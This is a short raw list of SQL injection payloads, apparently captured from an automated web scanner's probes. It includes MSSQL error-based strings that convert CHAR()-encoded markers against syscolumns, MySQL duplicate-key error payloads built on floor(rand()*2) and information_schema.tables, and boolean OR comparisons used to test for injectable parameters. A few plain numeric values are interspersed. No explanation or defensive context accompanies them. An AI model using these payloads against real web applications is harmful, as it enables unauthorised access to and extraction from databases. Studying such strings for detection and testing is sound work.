convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(89)+CHAR(111)+CHAR(69)+CHAR(105)+CHAR(56)+CHAR(86)+CHAR(78)+CHAR(51))

20

(select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(89)+CHAR(111)+CHAR(69)+CHAR(105)+CHAR(56)+CHAR(86)+CHAR(78)+CHAR(51)) FROM syscolumns)

20

-1 OR 3*2>(0+5+16-16)

(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(89),CHAR(111),CHAR(69),CHAR(105),CHAR(56),CHAR(86),CHAR(78),CHAR(51)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

0

-1 OR 3*2<(0+5+16-16)

and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(89),CHAR(111),CHAR(69),CHAR(105),CHAR(56),CHAR(86),CHAR(78),CHAR(51)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and

20